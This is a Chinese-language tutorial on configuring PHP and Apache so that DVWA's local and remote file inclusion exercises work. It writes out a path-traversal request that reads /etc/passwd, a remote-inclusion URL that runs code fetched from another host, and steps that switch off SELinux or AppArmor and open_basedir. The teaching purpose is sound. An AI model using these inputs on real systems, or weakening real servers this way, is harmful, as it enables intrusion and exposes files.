1. 项目概述为什么从allow_url_include开始如果你刚开始接触Web安全或者想找一个能让你“动手”而不是“看理论”的靶场DVWADamn Vulnerable Web Application绝对是首选。它把各种经典漏洞比如SQL注入、XSS、文件上传都做成了不同难度的关卡让你在一个受控的环境里随便“折腾”。而文件包含漏洞作为Web安全中一个既基础又威力巨大的漏洞类型在DVWA里自然也是重头戏。但很多新手在DVWA里第一次点开“File Inclusion”这一项时往往会懵——怎么页面一片空白或者直接报错了问题十有八九出在一个关键的PHP配置上allow_url_include。这个配置项默认是关闭的而DVWA的文件包含漏洞利用尤其是远程文件包含RFI恰恰需要它处于开启状态。所以搞定DVWA的文件包含环境第一步不是去写什么高深的Payload而是把这个“开关”打开。这听起来像是个简单的配置问题但背后涉及对PHP安全机制、Web服务器环境、以及漏洞原理的理解。今天我就以一个过来人的身份手把手带你走一遍这个流程。我们不止是打开一个开关更要弄明白为什么要打开它以及在这个过程中你可能会踩哪些坑、怎么解决。目标很明确搭建一个能让你从Low级别一路“打”到High级别的、功能完整的DVWA文件包含漏洞实战环境。2. 环境整体设计与思路拆解2.1 核心目标构建一个“可攻可守”的漏洞实验场搭建DVWA文件包含环境我们的目标不是简单地让一个网页能跑起来。而是要构建一个功能完整、漏洞可控、便于观察和分析的实验场。这意味着漏洞必须“活”起来Low级别的本地文件包含LFI和远程文件包含RFI都要能成功复现。特别是RFI它是检验allow_url_include是否生效的“试金石”。环境必须“干净”且“标准”我们使用最通用的组合——PHP Apache确保教程的普适性。避免使用一些高度集成的、黑箱化的环境那样出了问题你都不知道从哪里查起。过程必须“透明”每一步操作从修改配置到重启服务其背后的原理和可能产生的影响都需要解释清楚。知其然更要知其所以然。排错路径必须清晰我会把我在无数次搭建中遇到过的典型错误和解决方案都列出来让你在遇到问题时能快速定位而不是漫无目的地搜索。2.2 方案选型为什么是PHPApache而不是Docker一键包你可能会问现在不是流行用Docker吗一个docker-compose up不就全搞定了确实Docker非常方便但对于学习阶段我强烈建议你从“手动搭建”开始。手动搭建的优势深度理解你需要亲自去修改php.ini去重启Apache去理解配置文件的位置和作用。这个过程能让你对Web应用的运行环境有最直观的认识。排错能力当Docker容器里出现一个你无法理解的错误时你往往会束手无策。而手动搭建过程中遇到的每一个错误都是你学习系统知识、提升排错能力的绝佳机会。可控性你可以精确地控制每一个环节方便后续进行更复杂的实验比如搭配Burp Suite、配置自定义的DNS或HTTP服务器用于RFI等。当然如果你已经非常熟悉底层环境只是为了快速复现漏洞Docker是极好的选择。但本教程的定位是“手把手教你”所以我们选择从基础做起确保你能掌握每一个环节。2.3 关键配置allow_url_include与allow_url_fopen的辨析这是整个环境搭建的核心也是新手最容易混淆的地方。我们来彻底理清一下allow_url_fopen这个配置决定PHP是否允许使用fopen(),file_get_contents()等函数像打开本地文件一样通过HTTP或FTP等协议打开远程URL。它主要针对的是“数据流”的读取。默认情况下很多环境是开启的。allow_url_include这个配置决定PHP是否允许include(),require()等文件包含函数去包含远程服务器上的文件如http://evil.com/shell.txt。它直接决定了远程文件包含RFI漏洞能否被利用。由于安全风险极高它默认是关闭的。它们的关系是allow_url_include依赖于allow_url_fopen。也就是说如果你想开启allow_url_include通常也需要确保allow_url_fopen是开启的。但反过来只开启allow_url_fopen而关闭allow_url_includeRFI漏洞依然无法利用。在DVWA文件包含漏洞的实战中Low级别主要利用LFI读取服务器本地文件如../../../../etc/passwd。这个级别不强制需要allow_url_include开启。Medium/High级别漏洞利用往往涉及RFI或者需要更灵活的包含技巧。开启allow_url_include后你才能完整地体验所有攻击向量例如包含一个远程服务器上的Web Shell。所以我们的操作核心就是找到正确的php.ini文件将allow_url_include和allow_url_fopen的值都设置为On然后确保Web服务器加载了这个修改后的配置。3. 核心细节解析与实操要点3.1 定位php.ini哪个才是有效的配置文件这是实操的第一步也是卡住最多人的一步。你的系统里可能不止一个php.ini文件。为什么会有多个php.iniPHP可以以多种方式运行作为Apache模块mod_php、作为CGI、作为命令行接口CLI。每种运行方式都可以有自己独立的配置文件。为Web服务Apache提供PHP解析能力的是mod_php模块它加载的php.ini才是我们需要修改的。如何精准定位最可靠的方法不是去猜而是让PHP自己告诉我们。我们在DVWA的目录下创建一个简单的PHP探针文件。在你的DVWA安装目录下例如/var/www/html/dvwa/新建一个文件命名为info.php。在这个文件里只写一行代码?php phpinfo(); ?。通过浏览器访问这个文件比如http://你的IP/dvwa/info.php。这会显示一个包含大量PHP配置信息的页面。在这个页面上你需要找到两个关键信息Loaded Configuration File这一行明确指出了当前Apache加载的php.ini文件的完整路径。这个路径下的文件就是我们必须修改的目标。allow_url_fopen 和 allow_url_include在页面上搜索这两个关键词可以看到它们当前的状态是On还是Off。这可以用于修改后的验证。注意完成配置修改和验证后务必删除这个info.php文件。因为它会暴露大量敏感的服务器信息在真实环境中这是一个严重的安全隐患。我们只是在调试阶段临时使用它。3.2 修改配置不仅仅是改一个值找到正确的php.ini后用文本编辑器如vim, nano, notepad以管理员权限打开它。在文件中搜索allow_url_include和allow_url_fopen。你可能会看到类似下面的行; Whether to allow include/require to open URLs (like http:// or ftp://) as files. ; http://php.net/allow-url-include allow_url_include Off ; Whether to allow the treatment of URLs (like http:// or ftp://) as files. ; http://php.net/allow-url-fopen allow_url_fopen On你需要做的是将allow_url_include Off修改为allow_url_include On。确认allow_url_fopen On。如果它是Off同样改为On。这里有一个至关重要的细节注意每一行配置前面是否有分号;。在php.ini中分号是注释符。如果一行配置以分号开头那么这一行是无效的只是一个说明。你必须确保你修改的是没有分号开头的那一行。有时候配置项被注释了你可能需要删除行首的分号来激活它。3.3 重启服务让配置生效的关键一步修改并保存php.ini后必须重启Web服务器Apache新的配置才会被加载。这是很多新手会忽略的一步他们以为保存了就万事大吉。在Linux上如Ubuntu, Kalisudo systemctl restart apache2 # 或者使用旧式的service命令 # sudo service apache2 restart在Windows上使用XAMPP等集成环境打开XAMPP控制面板在Apache模块那一行点击Stop等待服务完全停止后再点击Start。重启后再次访问之前创建的info.php页面刷新确认allow_url_include和allow_url_fopen的状态已经变为On。3.4 DVWA自身的安全等级设置DVWA有一个内置的安全等级机制它会从Low、Medium、High到Impossible四个级别逐步增加防护措施。这直接影响文件包含漏洞的利用难度。设置路径登录DVWA后在左侧菜单找到DVWA Security点击进入。在这里你可以下拉选择安全等级并点击Submit保存。Low几乎没有防护。文件包含的参数直接传递给include()函数可以轻松进行目录遍历和远程包含。Medium增加了一些过滤比如检查参数中是否包含http://、https://、../等字符串但通常可以通过简单的变形绕过。High防护更强要求参数必须以file开头如file1、file2等且只能包含特定的文件名极大地限制了包含范围。但结合服务器其他漏洞如文件上传仍有利用可能。Impossible使用了白名单机制只允许包含几个预设的、绝对安全的文件从根本上杜绝了漏洞。实操要点在搭建环境和学习过程中请始终将安全等级设置为Low。我们的首要目标是让漏洞能够被复现和理解。在完全掌握Low级别的利用后再去挑战Medium和High级别的绕过技巧。不要在环境都没配通的情况下去挑战高难度那只会打击你的信心。4. 实操过程与核心环节实现下面我将以最常见的Kali Linux Apache2 PHP环境为例展示完整的搭建和验证流程。假设你的DVWA已经安装在/var/www/html/dvwa/目录下。4.1 第一步创建PHP信息探针首先我们创建一个文件来查看当前配置。cd /var/www/html/dvwa/ sudo echo ?php phpinfo(); ? info.php现在在浏览器中访问http://你的Kali_IP/dvwa/info.php4.2 第二步定位并修改php.ini在打开的phpinfo()页面中仔细查找Loaded Configuration File这一项。假设它显示为/etc/php/8.2/apache2/php.ini你的PHP版本可能不同比如7.4、8.1等以实际显示为准。现在我们来修改这个文件sudo nano /etc/php/8.2/apache2/php.ini在nano编辑器中使用CtrlW进行搜索。先搜索allow_url_include。 找到类似下面这行allow_url_include Off将其改为allow_url_include On然后搜索allow_url_fopen确保它的值是On。allow_url_fopen On修改完成后按CtrlO保存再按CtrlX退出nano。4.3 第三步重启Apache服务让修改生效sudo systemctl restart apache2你可以通过以下命令检查Apache是否重启成功sudo systemctl status apache2如果看到active (running)的字样说明服务已正常启动。4.4 第四步验证配置生效刷新浏览器中的info.php页面。在页面内搜索allow_url_include和allow_url_fopen确认它们的Local Value和Master Value都已经变成了On。验证成功后立即删除探针文件这是一个重要的安全习惯sudo rm /var/www/html/dvwa/info.php4.5 第五步登录DVWA并设置安全等级访问http://你的Kali_IP/dvwa/。使用默认账号admin密码password登录。点击页面下方的Create / Reset Database按钮初始化数据库。完成后会自动跳转到登录页重新用admin/password登录。登录后在左侧菜单点击DVWA Security。将安全等级设置为Low然后点击Submit。4.6 第六步实战验证文件包含漏洞现在进入正题。点击左侧菜单的File Inclusion。Low级别 - 本地文件包含LFI测试你会看到一个页面上面有file1.php、file2.php、file3.php三个链接。查看URL你会发现类似?pagefile1.php的参数。 尝试修改这个参数进行目录遍历http://你的Kali_IP/dvwa/vulnerabilities/fi/?page../../../../etc/passwd如果配置正确你应该能在页面上看到Linux系统的用户列表。这说明基本的LFI漏洞存在。Low级别 - 远程文件包含RFI测试核心验证这是检验allow_url_include是否真正开启的“终极测试”。你需要准备一个包含PHP代码的远程文件。在另一台服务器或者用Python在本机临时起一个HTTP服务上创建一个文本文件shell.txt内容为最简单的PHP代码?php phpinfo(); ?。注意为了能被包含执行文件后缀最好是.txt或.php并且内容必须是纯PHP代码不能有HTML标签否则包含时可能会出错。确保这个文件可以通过HTTP访问例如http://你的另一台IP/shell.txt。在DVWA的File Inclusion页面构造URLhttp://你的Kali_IP/dvwa/vulnerabilities/fi/?pagehttp://你的另一台IP/shell.txt访问这个URL。成功标志如果页面上显示了phpinfo()的信息而不是你写的?php phpinfo(); ?这段源代码那么恭喜你这说明远程文件被成功下载、包含并作为PHP代码执行了。这完全证明了allow_url_include配置已生效RFI漏洞环境搭建成功。重要提示RFI测试请务必在你自己的实验网络环境中进行切勿指向互联网上的未知地址也切勿包含恶意代码。5. 常见问题与排查技巧实录即使按照步骤操作你也可能会遇到一些问题。下面是我在多次教学和搭建中总结的“坑位”和解决方案。5.1 问题一修改php.ini后phpinfo()显示配置仍未改变可能原因及排查修改了错误的php.ini文件这是最常见的原因。再次确认phpinfo()中Loaded Configuration File的路径确保你修改的就是它。配置项被重复定义在php.ini中有时一个配置项会出现多次例如在不同模块的配置区域。你需要确保修改的是最后一个生效的、没有被注释掉的那个。可以用编辑器搜索功能找到所有allow_url_include出现的地方统一修改或确保只有一个有效设置。Web服务器未重启你确定执行了sudo systemctl restart apache2并且没有报错吗检查Apache状态确认重启成功。有时还需要重启php-fpm服务如果你使用的是PHP-FPM模式命令是sudo systemctl restart php8.2-fpm版本号需替换。.user.ini或.htaccess覆盖在某些目录下可能存在.user.ini或.htaccess文件它们可以覆盖主php.ini的配置。检查DVWA目录及其父目录下是否有这类文件并查看其内容。SELinux或AppArmor限制Linux某些严格的安全策略可能会阻止Apache进程读取修改后的配置文件或执行某些操作。可以尝试临时将其设置为宽容模式进行测试# 对于SELinux如CentOS/RHEL sudo setenforce 0 # 对于AppArmor如Ubuntu sudo aa-complain /usr/sbin/apache2注意测试完毕后出于安全考虑应恢复原有策略。5.2 问题二RFI测试时远程文件内容被显示为文本而非执行现象访问包含远程文件的URL后页面上显示的是?php phpinfo(); ?这段源代码文本而不是phpinfo()函数的输出页面。原因分析allow_url_include未生效这是最可能的原因。请严格按照问题一的步骤排查。远程文件内容或服务器问题文件后缀远程服务器可能根据文件后缀.txt将其作为纯文本文件提供在响应头中设置了Content-Type: text/plain。PHP在包含时可能会受到影响。尝试将远程文件后缀改为.php或者确保你的HTTP服务器对.txt文件也能正确发送PHP相关的头信息这通常需要服务器配置。文件内容确保远程文件内容只有?php phpinfo(); ?开头不能有空格、UTF-8 BOM或任何HTML标签。任何在?php ?标签之外的非PHP内容都可能导致解析错误或内容被直接输出。HTTP服务你用来提供shell.txt的HTTP服务是否稳定能否从靶机直接通过浏览器访问到这个文件确保网络是通的。快速诊断技巧 在DVWA靶机上用命令行测试远程文件获取和包含# 测试能否获取远程文件内容 curl http://你的另一台IP/shell.txt # 如果上一步成功测试PHP命令行包含这使用的是CLI的php.ini配置可能与Web不同 php -r include(http://你的另一台IP/shell.txt);如果curl能获取内容但php -r执行失败或只输出源码那很可能就是allow_url_include在CLI环境下是关闭的但这不影响Web环境。如果Web环境下也不行则重点排查Web的PHP配置。5.3 问题三包含本地文件LFI成功但路径遍历深度不够现象使用../../../../etc/passwd无法看到内容但使用../少一些可以包含到DVWA目录下的其他文件。原因分析开放目录限制open_basedirPHP配置中的open_basedir指令将PHP脚本能访问的文件限制在指定的目录树中。如果设置了此指令超出范围的路径遍历会被禁止。你可以在phpinfo()中搜索open_basedir查看。操作系统路径差异Windows和Linux的路径分隔符和结构不同。在Windows上测试LFI时可能需要使用..\..\..\..\windows\win.ini这样的路径。解决方案对于open_basedir在实验环境中为了学习方便可以暂时在php.ini中将其注释掉行首加;或设置为空值open_basedir none不推荐用于生产环境然后重启Apache。始终注意操作系统的路径格式。5.4 问题四访问DVWA页面出现数据库连接错误现象登录DVWA或点击Create / Reset Database时提示Database Error或Could not connect to the database。原因分析DVWA需要MySQL/MariaDB数据库支持。虽然PHP和Apache好了但数据库服务可能没启动或者DVWA的配置文件config/config.inc.php中的数据库连接信息不正确。解决方案启动数据库服务sudo systemctl start mysql # 或 mariadb sudo systemctl enable mysql # 设置开机自启可选检查并修改配置文件cd /var/www/html/dvwa/ sudo cp config/config.inc.php.dist config/config.inc.php sudo nano config/config.inc.php检查以下关键配置根据你的数据库情况修改$_DVWA[ db_server ] 127.0.0.1; // 数据库地址本地就是127.0.0.1 $_DVWA[ db_database ] dvwa; // 数据库名默认dvwa $_DVWA[ db_user ] root; // 数据库用户名 $_DVWA[ db_password ] pssw0rd; // 数据库密码Kali默认可能是空密码‘’Kali默认的MySQL root密码可能为空。你可以尝试将db_password设为两个单引号中间为空。如果设置了密码则填入你的密码。重置数据库在浏览器中再次点击Create / Reset Database链接。5.5 问题速查表问题现象最可能原因首要排查步骤phpinfo()中allow_url_include为Off1. 修改的php.ini不对2. 未重启Apache1. 确认Loaded Configuration File路径2. 执行sudo systemctl restart apache2并检查状态RFI包含远程文件显示源码1.allow_url_include未生效2. 远程文件内容/服务器问题1. 同上2. 检查远程文件内容是否纯净用curl测试访问LFI路径遍历失败1.open_basedir限制2. 路径深度不够/错误1.phpinfo()中查open_basedir2. 尝试更多../或绝对路径DVWA数据库连接错误1. 数据库服务未启动2. 配置文件错误1.sudo systemctl start mysql2. 检查config/config.inc.php文件页面显示空白或PHP代码PHP模块未正确加载或解析检查Apache是否加载了libapache2-mod-php模块并重启服务环境搭建本身就是一个学习和排错的过程。遇到问题不要慌按照“现象 - 可能原因 - 逐一验证”的思路结合命令行工具如systemctl,curl,php -m和phpinfo()提供的信息大部分问题都能被解决。每一次成功的排错都会让你对这套环境的理解加深一层。当你能流畅地在Low级别进行LFI和RFI实验时就可以进一步去研究Medium和High级别的过滤机制与绕过方法了那将是另一个充满挑战和乐趣的领域。